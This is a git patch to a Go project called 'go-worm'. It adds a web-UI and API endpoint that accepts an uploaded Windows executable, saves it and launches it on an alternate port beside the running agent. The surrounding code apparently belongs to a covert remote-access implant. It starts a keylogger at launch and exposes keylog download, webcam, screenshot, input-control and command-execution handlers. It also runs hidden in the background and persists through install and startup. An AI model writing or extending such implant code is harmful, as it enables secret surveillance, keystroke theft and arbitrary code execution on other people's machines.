From 1bba2c6b5150c6c9553910c848baa48bd7a78510 Mon Sep 17 00:00:00 2001 From: Daniel Legt Date: Tue, 1 Sep 2026 20:17:06 +0300 Subject: [PATCH] feat(update): add update deployment via web UI - Deploy exe to alternate port 5033 - Current instance keeps running - Add parallel mode and addr flag - Add update panel to web UI - Update OpenAPI spec and CLI --- lib/agent/agent.go | 25 +++++++++--- lib/agent/handlers.go | 40 ++++++++++++++++++ lib/agent/web/app.js | 41 +++++++++++++++++++ lib/agent/web/index.html | 16 ++++++++ lib/config/ports.go | 41 +++++++++++++++++++ lib/config/ports_test.go | 14 +++++++ lib/instance/launch_stub.go | 8 ++-- lib/openapi/spec.go | 35 ++++++++++++++++ lib/update/deploy_stub.go | 9 ++++ lib/update/deploy_windows.go | 17 ++++++++ lib/update/update.go | 79 ++++++++++++++++++++++++++++++++++++ lib/update/update_test.go | 13 ++++++ main.go | 16 +++++--- 13 files changed, 338 insertions(+), 16 deletions(-) create mode 100644 lib/config/ports.go create mode 100644 lib/config/ports_test.go create mode 100644 lib/update/deploy_stub.go create mode 100644 lib/update/deploy_windows.go create mode 100644 lib/update/update.go create mode 100644 lib/update/update_test.go diff --git a/lib/agent/agent.go b/lib/agent/agent.go index 0543b15..2fa9cdf 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -28,9 +28,19 @@ type Agent struct { startedAt time.Time } -func New() (*Agent, error) { +// Config controls agent startup. Zero values use environment defaults. +type Config struct { + ListenAddr string + Parallel bool +} + +func New(cfg Config) (*Agent, error) { + addr := strings.TrimSpace(cfg.ListenAddr) + if addr == "" { + addr = config.EnvOr("AGENT_ADDR", config.DefaultAddr) + } a := &Agent{ - addr: config.EnvOr("AGENT_ADDR", config.DefaultAddr), + addr: addr, startedAt: time.Now(), } if root := strings.TrimSpace(os.Getenv("AGENT_FILE_ROOT")); root != "" { @@ -40,11 +50,13 @@ func New() (*Agent, error) { } a.root = resolved } - guard, err := instance.Acquire() - if err != nil { - return nil, err + if !cfg.Parallel { + guard, err := instance.Acquire() + if err != nil { + return nil, err + } + a.guard = guard } - a.guard = guard input.EnableDPIAwareness() if err := keylog.Start(); err != nil { helpers.Log.Printf("keylog start: %v", err) @@ -84,6 +96,7 @@ func (a *Agent) Serve() error { mux.HandleFunc("/api/v1/input/text", a.handleText) mux.HandleFunc("/api/v1/keylog", a.handleKeylog) mux.HandleFunc("/api/v1/keylog/download", a.handleKeylogDownload) + mux.HandleFunc("/api/v1/update", a.handleUpdate) a.server = &http.Server{ Addr: a.addr, diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go index 040e190..16e65d2 100644 --- a/lib/agent/handlers.go +++ b/lib/agent/handlers.go @@ -24,6 +24,7 @@ import ( "tea.chunkbyte.com/kato/go-worm/lib/openapi" "tea.chunkbyte.com/kato/go-worm/lib/screenshot" "tea.chunkbyte.com/kato/go-worm/lib/startup" + "tea.chunkbyte.com/kato/go-worm/lib/update" "tea.chunkbyte.com/kato/go-worm/lib/webcam" ) @@ -567,3 +568,42 @@ func (a *Agent) handleKeylogDownload(w http.ResponseWriter, r *http.Request) { w.Header().Set("Accept-Ranges", "bytes") http.ServeContent(w, r, info.Name(), info.ModTime(), file) } + +func (a *Agent) handleUpdate(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + r.Body = http.MaxBytesReader(w, r.Body, config.MaxUploadSize) + if err := r.ParseMultipartForm(config.MaxUploadSize); err != nil { + helpers.WriteError(w, http.StatusBadRequest, "upload body is too large or invalid") + return + } + upload, header, err := r.FormFile("file") + if err != nil { + helpers.WriteError(w, http.StatusBadRequest, "file is required") + return + } + defer upload.Close() + if !strings.EqualFold(filepath.Ext(header.Filename), ".exe") { + helpers.WriteError(w, http.StatusBadRequest, "file must be a .exe") + return + } + + saved, nextAddr, err := update.Deploy(a.addr, upload) + if err != nil { + helpers.Log.Printf("update deploy: %v", err) + if strings.Contains(err.Error(), "not available") { + helpers.WriteError(w, http.StatusConflict, err.Error()) + return + } + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + return + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{ + "ok": true, + "path": saved, + "listen_address": nextAddr, + "previous_listen_address": a.addr, + }) +} diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js index f618366..40fa20f 100644 --- a/lib/agent/web/app.js +++ b/lib/agent/web/app.js @@ -33,6 +33,7 @@ let webcamRunning = false; let selectedLogName = ""; let lastMonitor = { left: 0, top: 0, width: 0, height: 0 }; + let currentListen = ""; function showError(message) { errorEl.textContent = message || ""; @@ -129,6 +130,8 @@ ["Startup", data.startup_enabled ? "enabled" : "disabled"], ]; setStartup(Boolean(data.startup_enabled)); + currentListen = data.listen_address || ""; + syncUpdateMeta(); statusFields.replaceChildren( ...fields.map(([label, value]) => { const item = document.createElement("div"); @@ -601,6 +604,31 @@ } } + function alternatePort(addr) { + const match = String(addr || "").match(/:(\d+)$/); + const port = match ? Number(match[1]) : 5032; + return port === 5032 ? 5033 : 5032; + } + + function syncUpdateMeta() { + const meta = document.getElementById("update-meta"); + if (!meta) return; + if (!currentListen) { + meta.textContent = "Refresh status to see the current listen address."; + return; + } + meta.textContent = `This instance: ${currentListen} · new instance: port ${alternatePort(currentListen)}`; + } + + async function deployUpdate(file) { + const form = new FormData(); + form.set("file", file); + const res = await api("/api/v1/update", { method: "POST", body: form }); + const data = await res.json(); + const result = document.getElementById("update-result"); + result.textContent = `Deployed ${data.path} · listening on ${data.listen_address} (was ${data.previous_listen_address})`; + } + async function runCommand() { const command = document.getElementById("exec-command").value.trim(); const timeout = Number(document.getElementById("exec-timeout").value); @@ -706,6 +734,19 @@ document.getElementById("exec-run").addEventListener("click", () => { runCommand().catch((err) => showError(err.message)); }); + document.getElementById("update-deploy").addEventListener("click", () => { + const picker = document.getElementById("update-picker"); + const file = picker.files[0]; + if (!file) { + showError("choose a .exe file first"); + return; + } + deployUpdate(file) + .then(() => { + picker.value = ""; + }) + .catch((err) => showError(err.message)); + }); document.getElementById("log-refresh").addEventListener("click", () => { listKeylogs().catch((err) => showError(err.message)); }); diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html index db22dfc..73b47a9 100644 --- a/lib/agent/web/index.html +++ b/lib/agent/web/index.html @@ -713,6 +713,7 @@ + @@ -879,6 +880,21 @@

       
 
+      
+
+
+

Deploy update

+

Upload a new win64_mp.exe. The current instance keeps running; the new build starts on the alternate port (5032 ↔ 5033).

+
+
+

+
+ + +
+

+
+
diff --git a/lib/config/ports.go b/lib/config/ports.go new file mode 100644 index 0000000..f71a690 --- /dev/null +++ b/lib/config/ports.go @@ -0,0 +1,41 @@ +package config + +import ( + "net" + "path/filepath" + "strconv" +) + +const ( + PortPrimary = 5032 + PortAlternate = 5033 + UpdatesSubdir = "updates" +) + +// AlternateListenAddr returns the other blue-green port (5032 <-> 5033). +func AlternateListenAddr(current string) (string, error) { + host, portStr, err := net.SplitHostPort(current) + if err != nil { + return "", err + } + if host == "" { + host = "0.0.0.0" + } + port, err := strconv.Atoi(portStr) + if err != nil { + return "", err + } + next := PortAlternate + if port == PortAlternate { + next = PortPrimary + } + return net.JoinHostPort(host, strconv.Itoa(next)), nil +} + +func UpdatesDir() (string, error) { + base, err := InstallDir() + if err != nil { + return "", err + } + return filepath.Join(base, UpdatesSubdir), nil +} diff --git a/lib/config/ports_test.go b/lib/config/ports_test.go new file mode 100644 index 0000000..721c7cd --- /dev/null +++ b/lib/config/ports_test.go @@ -0,0 +1,14 @@ +package config + +import "testing" + +func TestAlternateListenAddr(t *testing.T) { + next, err := AlternateListenAddr("0.0.0.0:5032") + if err != nil || next != "0.0.0.0:5033" { + t.Fatalf("5032 -> %q, %v", next, err) + } + next, err = AlternateListenAddr("0.0.0.0:5033") + if err != nil || next != "0.0.0.0:5032" { + t.Fatalf("5033 -> %q, %v", next, err) + } +} diff --git a/lib/instance/launch_stub.go b/lib/instance/launch_stub.go index bc4c73f..4a3ac56 100644 --- a/lib/instance/launch_stub.go +++ b/lib/instance/launch_stub.go @@ -2,10 +2,8 @@ package instance -func Launch(exe string, args []string) error { - return nil -} +import "errors" -func RestartSelf() error { - return nil +func Launch(exe string, args []string) error { + return errors.New("launch is only supported on windows") } diff --git a/lib/openapi/spec.go b/lib/openapi/spec.go index 2e568b2..0a942bd 100644 --- a/lib/openapi/spec.go +++ b/lib/openapi/spec.go @@ -230,6 +230,32 @@ func Spec() map[string]any { }), }, }, + "/api/v1/update": map[string]any{ + "post": map[string]any{ + "summary": "Deploy uploaded agent executable on alternate port", + "operationId": "deployUpdate", + "description": "Upload a .exe and launch it on port 5033 when this instance uses 5032, or vice versa. The current instance is left running.", + "requestBody": map[string]any{ + "required": true, + "content": map[string]any{ + "multipart/form-data": map[string]any{ + "schema": map[string]any{ + "type": "object", + "required": []string{"file"}, + "properties": map[string]any{ + "file": map[string]string{"type": "string", "format": "binary", "description": "Windows amd64 executable"}, + }, + }, + }, + }, + }, + "responses": auth(map[string]any{ + "200": okJSON("Update launched", ref("UpdateResult")), + "400": errResp("Invalid file or executable"), + "409": errResp("Alternate port already in use"), + }), + }, + }, "/api/v1/input/click": map[string]any{ "post": map[string]any{ "summary": "Click the desktop", @@ -350,6 +376,15 @@ func Spec() map[string]any { "name": map[string]string{"type": "string"}, }, }, + "UpdateResult": map[string]any{ + "type": "object", + "properties": map[string]any{ + "ok": map[string]any{"type": "boolean"}, + "path": map[string]string{"type": "string"}, + "listen_address": map[string]string{"type": "string"}, + "previous_listen_address": map[string]string{"type": "string"}, + }, + }, "ExecRequest": map[string]any{ "type": "object", "required": []string{"command"}, "properties": map[string]any{ diff --git a/lib/update/deploy_stub.go b/lib/update/deploy_stub.go new file mode 100644 index 0000000..365c210 --- /dev/null +++ b/lib/update/deploy_stub.go @@ -0,0 +1,9 @@ +//go:build !windows + +package update + +import "errors" + +func deployLaunch(savedPath, nextAddr string) error { + return errors.New("deploy is only supported on windows") +} diff --git a/lib/update/deploy_windows.go b/lib/update/deploy_windows.go new file mode 100644 index 0000000..2c8247e --- /dev/null +++ b/lib/update/deploy_windows.go @@ -0,0 +1,17 @@ +//go:build windows + +package update + +import ( + "fmt" + + "tea.chunkbyte.com/kato/go-worm/lib/instance" +) + +func deployLaunch(savedPath, nextAddr string) error { + args := []string{"-parallel", "-addr", nextAddr, "-skip-install"} + if err := instance.Launch(savedPath, args); err != nil { + return fmt.Errorf("launch update: %w", err) + } + return nil +} diff --git a/lib/update/update.go b/lib/update/update.go new file mode 100644 index 0000000..5505ff0 --- /dev/null +++ b/lib/update/update.go @@ -0,0 +1,79 @@ +package update + +import ( + "fmt" + "io" + "net" + "os" + "path/filepath" + "time" + + "tea.chunkbyte.com/kato/go-worm/lib/config" +) + +// Deploy saves exe and launches it on the alternate listen port (5032 <-> 5033). +func Deploy(currentAddr string, body io.Reader) (savedPath, nextAddr string, err error) { + nextAddr, err = config.AlternateListenAddr(currentAddr) + if err != nil { + return "", "", err + } + if err := listenAvailable(nextAddr); err != nil { + return "", "", err + } + + dir, err := config.UpdatesDir() + if err != nil { + return "", "", err + } + if err := os.MkdirAll(dir, 0o700); err != nil { + return "", "", err + } + + name := fmt.Sprintf("update-%s.exe", time.Now().Format("20060102-150405")) + savedPath = filepath.Join(dir, name) + out, err := os.OpenFile(savedPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o700) + if err != nil { + return "", "", err + } + + var head [2]byte + if _, err := io.ReadFull(body, head[:]); err != nil { + _ = out.Close() + _ = os.Remove(savedPath) + return "", "", fmt.Errorf("invalid executable") + } + if head[0] != 'M' || head[1] != 'Z' { + _ = out.Close() + _ = os.Remove(savedPath) + return "", "", fmt.Errorf("file is not a Windows executable") + } + if _, err := out.Write(head[:]); err != nil { + _ = out.Close() + _ = os.Remove(savedPath) + return "", "", err + } + if _, err := io.Copy(out, body); err != nil { + _ = out.Close() + _ = os.Remove(savedPath) + return "", "", err + } + if err := out.Close(); err != nil { + _ = os.Remove(savedPath) + return "", "", err + } + + if err := deployLaunch(savedPath, nextAddr); err != nil { + _ = os.Remove(savedPath) + return "", "", err + } + return savedPath, nextAddr, nil +} + +func listenAvailable(addr string) error { + ln, err := net.Listen("tcp", addr) + if err != nil { + return fmt.Errorf("port %s is not available: %w", addr, err) + } + _ = ln.Close() + return nil +} diff --git a/lib/update/update_test.go b/lib/update/update_test.go new file mode 100644 index 0000000..d68a1ed --- /dev/null +++ b/lib/update/update_test.go @@ -0,0 +1,13 @@ +package update + +import ( + "bytes" + "testing" +) + +func TestDeployRejectsNonPE(t *testing.T) { + _, _, err := Deploy("0.0.0.0:5032", bytes.NewReader([]byte("not-exe"))) + if err == nil { + t.Fatal("expected error") + } +} diff --git a/main.go b/main.go index 8228ada..9bb6fef 100644 --- a/main.go +++ b/main.go @@ -29,10 +29,15 @@ func main() { background := flag.Bool("background", false, "spawn detached agent and exit") ensure := flag.Bool("ensure", false, "start the agent if it is not already running") foreground := flag.Bool("foreground", false, "keep console visible (dev only)") + skipInstall := flag.Bool("skip-install", false, "do not copy exe into the install directory") + parallel := flag.Bool("parallel", false, "allow running beside another agent instance") + addr := flag.String("addr", "", "listen address host:port (overrides AGENT_ADDR)") flag.Parse() - if err := install.Ensure(); err != nil { - die(err, *foreground) + if !*skipInstall { + if err := install.Ensure(); err != nil { + die(err, *foreground) + } } if *ensure { @@ -58,8 +63,9 @@ func main() { _ = helpers.AttachLogFile() } + cfg := agent.Config{ListenAddr: *addr, Parallel: *parallel} for { - err := runAgent() + err := runAgent(cfg) if err == nil { return } @@ -72,7 +78,7 @@ func main() { } } -func runAgent() (err error) { +func runAgent(cfg agent.Config) (err error) { defer func() { if r := recover(); r != nil { crashlog.RecordPanic(r) @@ -80,7 +86,7 @@ func runAgent() (err error) { } }() - a, err := agent.New() + a, err := agent.New(cfg) if err != nil { if strings.Contains(err.Error(), "already running") { return errAlreadyRunning